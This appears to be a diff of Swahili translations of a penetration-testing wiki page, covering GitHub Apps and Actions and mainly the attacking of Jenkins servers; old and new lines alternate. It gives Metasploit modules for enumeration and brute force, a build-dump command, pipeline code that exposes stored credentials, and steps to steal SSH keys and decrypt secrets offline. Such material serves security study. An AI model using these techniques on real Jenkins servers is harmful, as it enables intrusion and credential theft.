- **Usijenge** OAuth App ili kufanya kazi kama programu kwa **timu au kampuni** yako. OAuth Apps zinathibitishwa kama **mtumiaji mmoja**, hivyo ikiwa mtu mmoja anaunda OAuth App kwa kampuni kutumia, na kisha anaondoka kampuni, hakuna mtu mwingine atakayekuwa na ufikiaji wake.
|
||||
- **Zaidi** katika [hapa](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
|
||||
|
||||
### Github Applications
|
||||
### Programu za Github
|
||||
|
||||
Programu za Github zinaweza kuomba ruhusa za **kufikia taarifa zako za github au kujifanya kuwa wewe** ili kufanya vitendo maalum juu ya rasilimali maalum. Katika Programu za Github unahitaji kueleza hifadhi ambazo programu itakuwa na ufikiaji.
|
||||
Programu za Github zinaweza kukuomba ruhusa za **kufikia taarifa zako za github au kujifanya kuwa wewe** ili kufanya vitendo maalum juu ya rasilimali maalum. Katika Github Apps unahitaji kueleza hifadhi ambazo programu itakuwa na ufikiaji.
|
||||
|
||||
- Ili kufunga Programu ya GitHub, lazima uwe **mmiliki wa shirika au uwe na ruhusa za msimamizi** katika hifadhi.
|
||||
- Programu ya GitHub inapaswa **kuunganishwa na akaunti binafsi au shirika**.
|
||||
- Unaweza kuunda programu yako mwenyewe ya Github katika [https://github.com/settings/apps](https://github.com/settings/apps)
|
||||
- Ili kufunga Github App, lazima uwe **mmiliki wa shirika au uwe na ruhusa za msimamizi** katika hifadhi.
|
||||
- Github App inapaswa **kuunganishwa na akaunti binafsi au shirika**.
|
||||
- Unaweza kuunda programu yako ya Github katika [https://github.com/settings/apps](https://github.com/settings/apps)
|
||||
- Unaweza kuona **programu zote za Github ambazo zina ufikiaji wa akaunti yako** katika [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
|
||||
- Hizi ni **API Endpoints za Programu za Github** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Kulingana na ruhusa za Programu itakuwa na uwezo wa kufikia baadhi yao
|
||||
- Unaweza kuona programu zilizofungwa katika **shirika** katika _https://github.com/organizations/\<org_name>/settings/installations_
|
||||
|
||||
Baadhi ya mapendekezo ya usalama:
|
||||
|
||||
- Programu ya GitHub inapaswa **kuchukua hatua bila ya mtumiaji** (isipokuwa programu inatumia [token ya mtumiaji-kwa-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Ili kuweka token za ufikiaji wa mtumiaji-kwa-server kuwa salama zaidi, unaweza kutumia token za ufikiaji ambazo zitakoma baada ya masaa 8, na token ya upya ambayo inaweza kubadilishwa kwa token mpya ya ufikiaji. Kwa maelezo zaidi, angalia "[Kurefresh token za ufikiaji wa mtumiaji-kwa-server](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- Hakikisha Programu ya GitHub inajumuisha **hifadhi maalum**.
|
||||
- Programu ya GitHub inapaswa **kuunganishwa na akaunti binafsi au shirika**.
|
||||
- Usitarajie Programu ya GitHub ijue na kufanya kila kitu ambacho mtumiaji anaweza.
|
||||
- **Usitumie Programu ya GitHub ikiwa unahitaji tu huduma ya "Ingia na GitHub"**. Lakini Programu ya GitHub inaweza kutumia [mchakato wa utambulisho wa mtumiaji](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) kuingia kwa watumiaji _na_ kufanya mambo mengine.
|
||||
- Usijenge Programu ya GitHub ikiwa unataka _tu_ kufanya kazi kama mtumiaji wa GitHub na kufanya kila kitu ambacho mtumiaji huyo anaweza kufanya.
|
||||
- Ikiwa unatumia programu yako na GitHub Actions na unataka kubadilisha faili za workflow, lazima uthibitishe kwa niaba ya mtumiaji kwa token ya OAuth ambayo inajumuisha mipaka ya `workflow`. Mtumiaji lazima awe na ruhusa ya msimamizi au kuandika kwa hifadhi ambayo ina faili ya workflow. Kwa maelezo zaidi, angalia "[Kuelewa mipaka kwa programu za OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
- Github App inapaswa **kuchukua hatua bila ya mtumiaji** (isipokuwa programu inatumia token ya [mtumiaji-kwa-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Ili kuweka token za ufikiaji wa mtumiaji-kwa-server kuwa salama zaidi, unaweza kutumia token za ufikiaji ambazo zitakoma baada ya masaa 8, na token ya kubadilisha ambayo inaweza kubadilishwa kwa token mpya ya ufikiaji. Kwa maelezo zaidi, angalia "[Kurefresh token za ufikiaji wa mtumiaji-kwa-server](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- Hakikisha Github App inajumuisha **hifadhi maalum**.
|
||||
- Github App inapaswa **kuunganishwa na akaunti binafsi au shirika**.
|
||||
- Usitarajie Github App ijue na kufanya kila kitu ambacho mtumiaji anaweza.
|
||||
- **Usitumie Github App ikiwa unahitaji tu huduma ya "Ingia na Github"**. Lakini Github App inaweza kutumia [mchakato wa utambulisho wa mtumiaji](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) kuingia watumiaji _na_ kufanya mambo mengine.
|
||||
- Usijenge Github App ikiwa _tu_ unataka kufanya kazi kama mtumiaji wa Github na kufanya kila kitu ambacho mtumiaji huyo anaweza kufanya.
|
||||
- Ikiwa unatumia programu yako na Github Actions na unataka kubadilisha faili za workflow, lazima uthibitishe kwa niaba ya mtumiaji kwa token ya OAuth ambayo inajumuisha mipaka ya `workflow`. Mtumiaji lazima awe na ruhusa ya msimamizi au kuandika kwa hifadhi ambayo ina faili ya workflow. Kwa maelezo zaidi, angalia "[Kuelewa mipaka kwa programu za OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
- **Zaidi** katika [hapa](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
|
||||
|
||||
### Github Actions
|
||||
|
||||
Hii **si njia ya kuthibitisha katika github**, lakini **kitendo kibaya** cha Github kinaweza kupata **ufikiaji usioidhinishwa kwa github** na **kulingana** na **privileges** zilizotolewa kwa Kitendo kadhaa **shambulio tofauti** zinaweza kufanywa. Tazama hapa chini kwa maelezo zaidi.
|
||||
Hii **sio njia ya kuthibitisha katika github**, lakini **kitendo kibaya** cha Github kinaweza kupata **ufikiaji usioidhinishwa kwa github** na **kulingana** na **privileges** zilizotolewa kwa Kitendo kadhaa **shambulio tofauti** zinaweza kufanywa. Tazama hapa chini kwa maelezo zaidi.
|
||||
|
||||
## Git Actions
|
||||
|
||||
Vitendo vya Git vinaruhusu kuendesha **utendaji wa msimbo wakati tukio linapotokea**. Kwa kawaida, msimbo unaotekelezwa ni **kama vile unavyohusiana na msimbo wa hifadhi** (labda kujenga kontena la docker au kuangalia kwamba PR haina siri).
|
||||
Git actions inaruhusu kuendesha **utendaji wa msimbo wakati tukio linapotokea**. Kawaida, msimbo unaotekelezwa ni **kama vile unavyohusiana na msimbo wa hifadhi** (labda kujenga kontena la docker au kuangalia kwamba PR haina siri).
|
||||
|
||||
### Configuration
|
||||
### Mipangilio
|
||||
|
||||
Katika _https://github.com/organizations/\<org_name>/settings/actions_ inawezekana kuangalia **mipangilio ya vitendo vya github** kwa shirika.
|
||||
|
||||
Inawezekana kukataa matumizi ya vitendo vya github kabisa, **kuruhusu vitendo vyote vya github**, au kuruhusu vitendo fulani tu.
|
||||
|
||||
Pia inawezekana kuunda **nani anahitaji idhini ili kuendesha Kitendo cha Github** na **ruhusa za GITHUB_TOKEN** za Kitendo cha Github wakati kinapotekelezwa.
|
||||
Pia inawezekana kuunda **nani anahitaji idhini ili kuendesha Github Action** na **ruhusa za GITHUB_TOKEN** za Github Action wakati inatekelezwa.
|
||||
|
||||
### Git Secrets
|
||||
### Siri za Git
|
||||
|
||||
Vitendo vya Github kwa kawaida vinahitaji aina fulani za siri ili kuingiliana na github au programu za wahusika wengine. Ili **kuepuka kuweka wazi** katika hifadhi, github inaruhusu kuweka kama **Siri**.
|
||||
Github Action kwa kawaida inahitaji aina fulani za siri ili kuingiliana na github au programu za wahusika wengine. Ili **kuepuka kuweka wazi** katika hifadhi, github inaruhusu kuweka kama **Siri**.
|
||||
|
||||
Siri hizi zinaweza kuundwa **kwa hifadhi au kwa shirika lote**. Kisha, ili **Kitendo kiweze kufikia siri** unahitaji kuziandika kama:
|
||||
```yaml
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Jenkins ni chombo kinachotoa njia rahisi ya kuanzisha **continuous integration** au **continuous delivery** (CI/CD) mazingira kwa karibu **yoyote** mchanganyiko wa **lugha za programu** na hifadhi za msimbo wa chanzo kwa kutumia pipelines. Aidha, inafanya kazi mbalimbali za kawaida za maendeleo kiotomatiki. Ingawa Jenkins haiondoi **hitaji la kuunda scripts kwa hatua binafsi**, inatoa njia ya haraka na yenye nguvu zaidi ya kuunganisha mfululizo mzima wa zana za kujenga, kujaribu, na kutekeleza kuliko mtu anavyoweza kujenga kwa urahisi kwa mikono.
|
||||
Jenkins ni chombo kinachotoa njia rahisi ya kuanzisha **continuous integration** au **continuous delivery** (CI/CD) mazingira kwa karibu **yoyote** mchanganyiko wa **programming languages** na hazina za msimbo wa chanzo kwa kutumia pipelines. Aidha, inafanya kazi mbalimbali za kawaida za maendeleo kiotomatiki. Ingawa Jenkins haiondoi **hitaji la kuunda scripts kwa hatua za kibinafsi**, inatoa njia ya haraka na yenye nguvu zaidi ya kuunganisha mfululizo mzima wa zana za kujenga, kujaribu, na kutekeleza kuliko mtu anavyoweza kujenga kwa urahisi kwa mikono.
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
@@ -12,15 +12,15 @@ basic-jenkins-information.md
|
||||
|
||||
## Unauthenticated Enumeration
|
||||
|
||||
Ili kutafuta kurasa za Jenkins zinazovutia bila uthibitisho kama (_/people_ au _/asynchPeople_, hii inataja watumiaji wa sasa) unaweza kutumia:
|
||||
Ili kutafuta kurasa za kuvutia za Jenkins bila uthibitisho kama (_/people_ au _/asynchPeople_, hii inataja watumiaji wa sasa) unaweza kutumia:
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_enum
|
||||
```
|
||||
Angalia ikiwa unaweza kutekeleza amri bila kuhitaji uthibitisho:
|
||||
Angalia kama unaweza kutekeleza amri bila kuhitaji uthibitisho:
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_command
|
||||
```
|
||||
Bila akreditivu unaweza kuangalia ndani ya _**/asynchPeople/**_ au _**/securityRealm/user/admin/search/index?q=**_ kwa **majina ya watumiaji**.
|
||||
Bila kuwa na akidi unaweza kuangalia ndani ya _**/asynchPeople/**_ au _**/securityRealm/user/admin/search/index?q=**_ kwa **majina ya watumiaji**.
|
||||
|
||||
Unaweza kupata toleo la Jenkins kutoka kwenye njia _**/oops**_ au _**/error**_.
|
||||
|
||||
@@ -46,11 +46,11 @@ Utakuwa na uwezo wa kupata mifano ya Jenkins ambazo **zinakuruhusu kuunda akaunt
|
||||
|
||||
### **SSO Ingia**
|
||||
|
||||
Pia ikiwa **SSO** **ufunctionality**/**plugins** zilikuwepo basi unapaswa kujaribu **kuingia** kwenye programu ukitumia akaunti ya majaribio (yaani, akaunti ya majaribio ya **Github/Bitbucket**). Njia kutoka [**hapa**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
|
||||
Pia ikiwa **SSO** **ufunctionality**/**plugins** zilikuwepo basi unapaswa kujaribu **kuingia** kwenye programu kwa kutumia akaunti ya majaribio (yaani, akaunti ya majaribio ya **Github/Bitbucket**). Njia kutoka [**hapa**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
|
||||
|
||||
### Bruteforce
|
||||
|
||||
**Jenkins** haina **sera ya nywila** na **kuzuia brute-force ya majina ya watumiaji**. Ni muhimu **kujaribu brute-force** watumiaji kwani **nywila dhaifu** au **majina ya watumiaji kama nywila** yanaweza kutumika, hata **majina ya watumiaji yaliyogeuzwa kuwa nywila**.
|
||||
**Jenkins** haina **sera ya nywila** na **kinga ya kujaribu nywila za majina ya watumiaji**. Ni muhimu **kujaribu kwa nguvu** watumiaji kwani **nywila dhaifu** au **majina ya watumiaji kama nywila** yanaweza kutumika, hata **majina ya watumiaji yaliyogeuzwa kuwa nywila**.
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_login
|
||||
```
|
||||
@@ -60,9 +60,9 @@ Tumia [hii script ya python](https://github.com/gquere/pwn_jenkins/blob/master/p
|
||||
|
||||
### IP Whitelisting Bypass
|
||||
|
||||
Mashirika mengi yanachanganya **mifumo ya usimamizi wa chanzo wa SaaS** kama GitHub au GitLab na **ufumbuzi wa CI wa ndani, uliojitegemea** kama Jenkins au TeamCity. Mpangilio huu unaruhusu mifumo ya CI **kupokea matukio ya webhook kutoka kwa wauzaji wa chanzo wa SaaS**, hasa kwa ajili ya kuanzisha kazi za pipeline.
|
||||
Mashirika mengi yanachanganya **mifumo ya usimamizi wa chanzo cha SaaS** kama GitHub au GitLab na **ufumbuzi wa CI** wa ndani, wa kujihifadhi kama Jenkins au TeamCity. Mpangilio huu unaruhusu mifumo ya CI **kupokea matukio ya webhook kutoka kwa wauzaji wa chanzo cha SaaS**, hasa kwa ajili ya kuanzisha kazi za pipeline.
|
||||
|
||||
Ili kufanikisha hili, mashirika **yanapitia** **mipangilio ya IP** ya **mifumo ya SCM**, ikiruhusu kufikia **mfumo wa CI wa ndani** kupitia **webhooks**. Hata hivyo, ni muhimu kutambua kwamba **mtu yeyote** anaweza kuunda **akaunti** kwenye GitHub au GitLab na kuikamilisha ili **kuanzisha webhook**, ambayo inaweza kutuma maombi kwa **mfumo wa CI wa ndani**.
|
||||
Ili kufanikisha hili, mashirika **yanapitia** **mipango ya IP** ya **mifumo ya SCM**, ikiruhusu kufikia **mfumo wa CI wa ndani** kupitia **webhooks**. Hata hivyo, ni muhimu kutambua kwamba **mtu yeyote** anaweza kuunda **akaunti** kwenye GitHub au GitLab na kuikamilisha ili **kuanzisha webhook**, ambayo inaweza kutuma maombi kwa **mfumo wa CI wa ndani**.
|
||||
|
||||
Angalia: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
|
||||
|
||||
@@ -85,25 +85,25 @@ Ikiwa umefikia Jenkins unaweza orodhesha watumiaji wengine waliojiandikisha kati
|
||||
|
||||
### Dumping builds to find cleartext secrets
|
||||
|
||||
Tumia [hii script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) kutupa matokeo ya console ya ujenzi na mabadiliko ya mazingira ya ujenzi ili kutumaini kupata siri za wazi.
|
||||
Tumia [hii script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) kutupa matokeo ya console ya ujenzi na mabadiliko ya mazingira ya ujenzi ili kut hope kupata siri za wazi.
|
||||
```bash
|
||||
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
|
||||
cd build_dumps
|
||||
gitleaks detect --no-git -v
|
||||
```
|
||||
### **Kuhusisha Akiba za SSH**
|
||||
### **Kuharibu Akiba za SSH**
|
||||
|
||||
Ikiwa mtumiaji aliyeathirika ana **mamlaka ya kutosha kuunda/kubadilisha nodi mpya ya Jenkins** na akiba za SSH tayari zimehifadhiwa ili kufikia nodi nyingine, anaweza **kuhusisha akiba hizo** kwa kuunda/kubadilisha nodi na **kuweka mwenyeji ambaye atarekodi akiba hizo** bila kuthibitisha funguo za mwenyeji:
|
||||
Ikiwa mtumiaji aliyeathirika ana **mamlaka ya kutosha kuunda/kubadilisha node mpya ya Jenkins** na akiba za SSH tayari zimehifadhiwa ili kufikia nodi nyingine, anaweza **kuiba akiba hizo** kwa kuunda/kubadilisha node na **kuweka mwenyeji ambaye atarekodi akiba hizo** bila kuthibitisha funguo za mwenyeji:
|
||||
|
||||
.png>)
|
||||
|
||||
Kwa kawaida, utaweza kupata akiba za ssh za Jenkins katika **mtoa huduma wa kimataifa** (`/credentials/`), hivyo unaweza pia kuzitupa kama unavyotupa siri nyingine yoyote. Taarifa zaidi katika [**Sehemu ya Kutupa Siri**](./#dumping-secrets).
|
||||
Kwa kawaida utapata akiba za ssh za Jenkins katika **mtoa huduma wa kimataifa** (`/credentials/`), hivyo unaweza pia kuzitupa kama unavyotupa siri nyingine yoyote. Taarifa zaidi katika [**Sehemu ya Kutupa siri**](./#dumping-secrets).
|
||||
|
||||
### **RCE katika Jenkins**
|
||||
|
||||
Kupata **shell katika seva ya Jenkins** inampa mshambuliaji fursa ya kuhusisha **siri** zote na **mabadiliko ya mazingira** na **kufanya kazi na mashine nyingine** zilizoko katika mtandao huo au hata **kusanya akiba za wingu**.
|
||||
Kupata **shell katika seva ya Jenkins** inampa mshambuliaji fursa ya kuvuja **siri zote** na **mabadiliko ya env** na **kufanya mashambulizi kwenye mashine nyingine** zilizoko katika mtandao mmoja au hata **kusanya akiba za wingu**.
|
||||
|
||||
Kwa kawaida, Jenkins itakuwa **ikifanya kazi kama SYSTEM**. Hivyo, kuathiriwa kwake kutampa mshambuliaji **mamlaka ya SYSTEM**.
|
||||
Kwa kawaida, Jenkins itakuwa **inaendesha kama SYSTEM**. Hivyo, kuathiriwa kwake kutampa mshambuliaji **mamlaka ya SYSTEM**.
|
||||
|
||||
### **RCE Kuunda/Kubadilisha mradi**
|
||||
|
||||
@@ -135,31 +135,31 @@ Ili kutumia pipelines bado unahitaji kuwa na ufikiaji wa Jenkins.
|
||||
|
||||
### Kujenga Pipelines
|
||||
|
||||
**Pipelines** zinaweza pia kutumika kama **mekanismu ya kujenga katika miradi**, katika kesi hiyo inaweza kuwekewa **faili ndani ya hazina** ambayo itakuwa na sintaksia ya pipeline. Kwa kawaida `/Jenkinsfile` inatumika:
|
||||
**Pipelines** zinaweza pia kutumika kama **mekanismu ya kujenga katika miradi**, katika kesi hiyo inaweza kuundwa **faili ndani ya hazina** ambayo itakuwa na sintaksia ya pipeline. Kwa kawaida `/Jenkinsfile` inatumika:
|
||||
|
||||
.png>)
|
||||
|
||||
Pia inawezekana **kuhifadhi faili za usanidi wa pipeline mahali pengine** (katika hazina nyingine kwa mfano) kwa lengo la **kutenganisha** ufikiaji wa hazina na ufikiaji wa pipeline.
|
||||
Pia inawezekana **hifadhi faili za usanidi wa pipeline mahali pengine** (katika hazina nyingine kwa mfano) kwa lengo la **kutenganisha** ufikiaji wa hazina na ufikiaji wa pipeline.
|
||||
|
||||
Ikiwa mshambuliaji ana **ufikiaji wa kuandika juu ya faili hiyo** atakuwa na uwezo wa **kuyabadilisha** na **kuzindua** pipeline bila hata kuwa na ufikiaji wa Jenkins.\
|
||||
Inawezekana kwamba mshambuliaji atahitaji **kuzidi baadhi ya ulinzi wa tawi** (kulingana na jukwaa na mamlaka za mtumiaji wanaweza kuzidiwa au la).
|
||||
Inawezekana kwamba mshambuliaji atahitaji **kupita baadhi ya ulinzi wa tawi** (kutegemea jukwaa na mamlaka za mtumiaji wanaweza kupitishwa au la).
|
||||
|
||||
Vichocheo vya kawaida vya kutekeleza pipeline ya kawaida ni:
|
||||
|
||||
- **Ombi la kuvuta** kwenye tawi kuu (au labda kwenye matawi mengine)
|
||||
- **Kusukuma kwenye tawi kuu** (au labda kwenye matawi mengine)
|
||||
- **Kusasisha tawi kuu** na kusubiri hadi itekelezwe kwa namna fulani
|
||||
- **Sasisha tawi kuu** na kusubiri hadi itekelezwe kwa namna fulani
|
||||
|
||||
> [!NOTE]
|
||||
> Ikiwa wewe ni **mtumiaji wa nje** huwezi kutarajia kuunda **PR kwenye tawi kuu** la hazina ya **mtumiaji/taasisi nyingine** na **kuzindua pipeline**... lakini ikiwa ime **pangwa vibaya** unaweza kabisa **kuathiri kampuni kwa kutumia hili**.
|
||||
> Ikiwa wewe ni **mtumiaji wa nje** huwezi kutarajia kuunda **PR kwa tawi kuu** la hazina ya **mtumiaji/taasisi nyingine** na **kuzindua pipeline**... lakini ikiwa ime **pangwa vibaya** unaweza kabisa **kuathiri kampuni kwa kutumia hili**.
|
||||
|
||||
### RCE ya Pipeline
|
||||
|
||||
Katika sehemu ya awali ya RCE tayari ilionyeshwa mbinu ya [**kupata RCE kwa kubadilisha pipeline**](./#rce-creating-modifying-pipeline).
|
||||
|
||||
### Kuangalia Mabadiliko ya Mazingira
|
||||
### Kuangalia Mabadiliko ya env
|
||||
|
||||
Inawezekana kutangaza **mabadiliko ya mazingira ya maandiko wazi** kwa pipeline nzima au kwa hatua maalum. Mabadiliko haya ya mazingira **hayapaswi kuwa na taarifa nyeti**, lakini mshambuliaji anaweza kila wakati **kuangalia usanidi wote wa pipeline**/Jenkinsfiles:
|
||||
Inawezekana kutangaza **mabadiliko ya env ya maandiko wazi** kwa pipeline nzima au kwa hatua maalum. Mabadiliko haya ya env **hayapaswi kuwa na taarifa nyeti**, lakini mshambuliaji anaweza kila wakati **kuangalia usanidi wote wa pipeline**/Jenkinsfiles:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
@@ -174,7 +174,7 @@ STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
```
|
||||
### Dumping secrets
|
||||
### Kutolewa kwa siri
|
||||
|
||||
Kwa maelezo kuhusu jinsi siri zinavyoshughulikiwa na Jenkins angalia taarifa za msingi:
|
||||
|
||||
@@ -182,13 +182,13 @@ Kwa maelezo kuhusu jinsi siri zinavyoshughulikiwa na Jenkins angalia taarifa za
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
Akreditivu zinaweza **kuwekwa kwa watoa huduma wa kimataifa** (`/credentials/`) au kwa **miradi maalum** (`/job/<project-name>/configure`). Hivyo, ili kuhamasisha zote unahitaji **kuathiri angalau miradi yote** ambayo ina siri na kutekeleza pipelines za kawaida/za sumu.
|
||||
Akreditivu zinaweza **kuwekwa kwa watoa huduma wa kimataifa** (`/credentials/`) au kwa **miradi maalum** (`/job/<project-name>/configure`). Hivyo, ili kutoa siri zote unahitaji **kushambulia angalau miradi yote** ambayo ina siri na kutekeleza mipangilio ya kawaida/iliyoshambuliwa.
|
||||
|
||||
Kuna tatizo lingine, ili kupata **siri ndani ya env** ya pipeline unahitaji **kujua jina na aina ya siri**. Kwa mfano, unajaribu **kuchaji** **`usernamePassword`** **siri** kama **`string`** **siri** utapata **kosa** hili:
|
||||
Kuna tatizo lingine, ili kupata **siri ndani ya env** ya mpangilio unahitaji **kujua jina na aina ya siri**. Kwa mfano, unajaribu **kuchota** **`usernamePassword`** **siri** kama **`string`** **siri** utapata **kosa** hili:
|
||||
```
|
||||
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
|
||||
```
|
||||
Hapa kuna njia ya kupakia aina kadhaa za siri za kawaida:
|
||||
Hapa kuna njia ya kupakia aina fulani za siri za kawaida:
|
||||
```bash
|
||||
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
|
||||
sh '''
|
||||
@@ -216,46 +216,46 @@ env
|
||||
'''
|
||||
}
|
||||
```
|
||||
Katika mwisho wa ukurasa huu unaweza **kupata aina zote za akreditivu**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
|
||||
Mwisho wa ukurasa huu unaweza **kupata aina zote za hati**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
|
||||
|
||||
> [!WARNING]
|
||||
> Njia bora ya **kutoa siri zote kwa wakati mmoja** ni kwa **kuathiri** mashine ya **Jenkins** (kufanya kazi na shell ya nyuma katika **node iliyo ndani** kwa mfano) na kisha **kuvuja** **funguo za mkuu** na **siri zilizofichwa** na kuzifungua bila mtandao.\
|
||||
> Njia bora ya **kutoa siri zote kwa wakati mmoja** ni kwa **kuathiri** mashine ya **Jenkins** (kufanya kazi na shell ya nyuma katika **node iliyo ndani** kwa mfano) na kisha **kuvuja** **funguo kuu** na **siri zilizofichwa** na kuzifungua bila mtandao.\
|
||||
> Zaidi kuhusu jinsi ya kufanya hivi katika [sehemu ya Nodes & Agents](./#nodes-and-agents) na katika [sehemu ya Post Exploitation](./#post-exploitation).
|
||||
|
||||
### Triggers
|
||||
### Vichocheo
|
||||
|
||||
Kutoka [nyaraka](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Mwelekeo wa `triggers` unafafanua **njia za kiotomatiki ambazo Pipeline inapaswa kuanzishwa tena**. Kwa Pipelines ambazo zimeunganishwa na chanzo kama GitHub au BitBucket, `triggers` huenda zisihitajike kwani uunganisho wa msingi wa webhooks tayari utakuwepo. Triggers zinazopatikana kwa sasa ni `cron`, `pollSCM` na `upstream`.
|
||||
Kutoka [nyaraka](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Maagizo ya `triggers` yanafafanua **njia za kiotomatiki ambazo Pipeline inapaswa kuanzishwa tena**. Kwa Pipelines ambazo zimeunganishwa na chanzo kama GitHub au BitBucket, `triggers` huenda zisihitajike kwani uunganisho wa msingi wa webhooks tayari utakuwepo. Vichocheo vilivyopo kwa sasa ni `cron`, `pollSCM` na `upstream`.
|
||||
|
||||
Mfano wa Cron:
|
||||
```bash
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
```
|
||||
Check **other examples in the docs**.
|
||||
Angalia **esempu nyingine katika hati**.
|
||||
|
||||
### Nodes & Agents
|
||||
|
||||
A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines.
|
||||
**Jenkins instance** inaweza kuwa na **wakala tofauti wakifanya kazi kwenye mashine tofauti**. Kutoka kwa mtazamo wa mshambuliaji, ufikiaji wa mashine tofauti unamaanisha **akili tofauti za wingu** za kuiba au **ufikiaji tofauti wa mtandao** ambao unaweza kutumika vibaya kuendeleza mashine nyingine.
|
||||
|
||||
For more information check the basic information:
|
||||
Kwa maelezo zaidi angalia taarifa za msingi:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more:
|
||||
Unaweza kuhesabu **nodes zilizowekwa** katika `/computer/`, kwa kawaida utapata \*\*`Built-In Node` \*\* (ambayo ni node inayokimbia Jenkins) na labda zaidi:
|
||||
|
||||
.png>)
|
||||
|
||||
It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information.
|
||||
Ni **ya kuvutia sana kukiuka Built-In node** kwa sababu ina taarifa nyeti za Jenkins.
|
||||
|
||||
To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config:
|
||||
Ili kuonyesha unataka **kuendesha** **pipeline** katika **built-in Jenkins node** unaweza kubainisha ndani ya pipeline usanidi ufuatao:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
```
|
||||
### Mfano kamili
|
||||
|
||||
Pipeline katika wakala maalum, na kichocheo cha cron, na pipeline na hatua za mazingira, ikipakia mabadiliko 2 katika hatua na kutuma shell ya kinyume:
|
||||
Pipeline katika wakala maalum, na kichocheo cha cron, na mabadiliko ya pipeline na hatua, ikipakia mabadiliko 2 katika hatua na kutuma shell ya kinyume:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
@@ -314,19 +314,19 @@ msf> post/multi/gather/jenkins_gather
|
||||
```
|
||||
### Jenkins Secrets
|
||||
|
||||
Unaweza kuorodhesha siri kwa kufikia `/credentials/` ikiwa una ruhusa za kutosha. Kumbuka kwamba hii itataja tu siri zilizo ndani ya faili `credentials.xml`, lakini **faili za usanidi wa ujenzi** zinaweza pia kuwa na **siri zaidi**.
|
||||
Unaweza kuorodhesha siri kwa kufikia `/credentials/` ikiwa una ruhusa za kutosha. Kumbuka kwamba hii itataja tu siri zilizo ndani ya faili `credentials.xml`, lakini **faili za usanidi wa kujenga** zinaweza pia kuwa na **siri zaidi**.
|
||||
|
||||
Ikiwa unaweza **kuona usanidi wa kila mradi**, unaweza pia kuona huko **majina ya siri (credentials)** yanayotumika kufikia hifadhi na **siri nyingine za mradi**.
|
||||
|
||||
.png>)
|
||||
|
||||
#### From Groovy
|
||||
#### Kutoka Groovy
|
||||
|
||||
{{#ref}}
|
||||
jenkins-dumping-secrets-from-groovy.md
|
||||
{{#endref}}
|
||||
|
||||
#### From disk
|
||||
#### Kutoka diski
|
||||
|
||||
Faili hizi zinahitajika ili **kufichua siri za Jenkins**:
|
||||
|
||||
@@ -349,9 +349,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
|
||||
# Secret example
|
||||
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
|
||||
```
|
||||
#### Decrypt Jenkins secrets offline
|
||||
#### Fichua siri za Jenkins bila mtandao
|
||||
|
||||
Ikiwa umepata **neno la siri zinazohitajika kufungua siri hizo**, tumia [**hii script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **kufungua siri hizo**.
|
||||
